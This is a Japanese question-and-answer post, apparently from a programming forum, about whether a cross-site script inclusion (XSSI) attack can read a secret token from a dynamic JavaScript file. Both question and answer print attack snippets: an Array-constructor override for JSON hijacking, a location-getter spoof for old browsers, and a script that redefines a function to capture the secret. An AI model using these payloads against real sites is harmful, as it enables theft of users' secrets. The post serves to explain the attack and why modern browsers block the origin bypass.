私はXSSI攻撃について学び、次の動的JSを使用してコンテンツにアクセスできるかどうか疑問に思っています。
Dinamic.js:
if (window.location.hostname === 'Demo.site.com' ){
updateLoginHeader('Nick', 'IWANT-THIS-SECRET'); }
攻撃者はJavaScriptタグを使用してIWANT-THIS-SECRETを取得できますか?私は次のようなことを試していました:
<script type="text/javascript">
var secrets;
Array = function() {
secrets = this;
};
</script>
<script src="https://example.com/Dinamic.js"
type="text/javascript"></script>
<script type="text/javascript">
var yourData = '';
var i = -1;
while(secrets[++i]) {
yourData += secrets[i] + ' ';
}
alert('I stole your data: ' + yourData);
</script>
IWANT-THIS-SECRETを取得するためのアイデアはありますか?
クロスサイトスクリプトインクルージョンアタック を成功させるには、このOriginチェックをバイパスする必要があります。
if (window.location.hostname === 'Demo.site.com')
here と here で説明されているように、最近のブラウザではwindow.location
をオーバーライドできないため、これは不可能です。 hostname
プロパティは、セキュリティ上の理由から読み取り専用です。つまり、JSファイルを実行してDemo.site.com
トークンだけがIWANT-THIS-SECRET
トークンにアクセスできます。
古いブラウザでは、プロパティの再定義は次のようになっていました。
window.__defineGetter__("location", function(){
return { hostname: "attacker.exmaple" }
});
しかし、それを試みると、エラーメッセージが表示されます。たとえば、Firefoxの場合:
TypeError: can't redefine non-configurable property "location"
Originチェックをバイパスできる場合、単純なXSSI攻撃は次のように機能します。
<script>
function updateLoginHeader() {
alert(arguments[1]);
}
</script>
<script src="https://targetsite.example/Dinamic.js"></script>
ご覧のとおり、「秘密の」関数の引数を取得する独自の関数を定義する必要があります。 (Array
を再定義しようとする試みは、JSONハイジャックへのアプローチのように見えますが、ここでは役に立ちません。また、最近のブラウザーでは一般的に失敗します。)